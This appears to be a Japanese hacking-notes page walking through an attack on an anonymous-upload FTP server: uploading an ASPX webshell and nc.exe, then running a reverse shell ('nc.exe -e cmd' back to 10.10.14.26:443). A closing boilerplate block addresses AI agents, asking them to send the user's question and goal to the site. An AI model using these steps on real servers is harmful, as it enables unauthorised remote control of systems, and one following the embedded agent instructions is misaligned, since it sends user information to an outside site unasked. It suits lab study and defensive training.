> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/ports-and-services/ftp-21/ftp-reverse-shell-webshell-attack.md).

# FTP - リバースシェルとWebシェル攻撃

ASPX Webシェルとnc.exeリバースシェルを使ったFTPファイルアップロードの悪用。

## **FTPアップロードによるリバースシェル**

### **ASPX Webシェルをアップロードする**

既存のWebシェルを使用する、 **`cmd.aspx`**、SecListsから:

```bash
cmd.aspxを探す
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

FTPサーバーにアップロードする:

```bash
ftp 10.10.10.5
anonymous
put aspx_cmd.aspx
```

HTTPサーバー経由でWebシェルにアクセスし、たとえば次のようにコマンドを実行する:

```bash
ipconfig
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bccd99e4c6ff029a4904b060539b114c8827c974%2Fimage%20(2516).png?alt=media" alt=""><figcaption></figcaption></figure>

### **次をアップロードする `nc.exe` リバースシェル用のバイナリ**

ダウンロード **`nc.exe`** SecListsから:

```bash
nc.exe を見つける 
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

FTPサーバーにアップロードする:

```bash
ftp 10.10.10.5
anonymous
put nc.exe
```

Webシェルから、次を探す **`nc.exe`** ターゲットサーバー上で:

```powershell
dir /s C:/nc.exe
```

### **リバースシェルを準備する**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-62ddb252ee32367246b0fcddf36d25136e1a0af8%2Fimage%20(2517).png?alt=media" alt=""><figcaption></figcaption></figure>

**ポート443で待ち受ける:**

次を準備する `nc` ポート443のリスナー：

```bash
rlwrap nc -nvlp 443
```

ターゲットマシンから、Webシェル経由で次のコマンドを実行する:

```powershell
C:/inetpub/wwwroot/nc.exe -e cmd 10.10.14.26 443
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbbed5f1aa79caa6d8a1bf29a5fb65a21b02451e%2Fimage%20(2518).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/ports-and-services/ftp-21/ftp-reverse-shell-webshell-attack.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
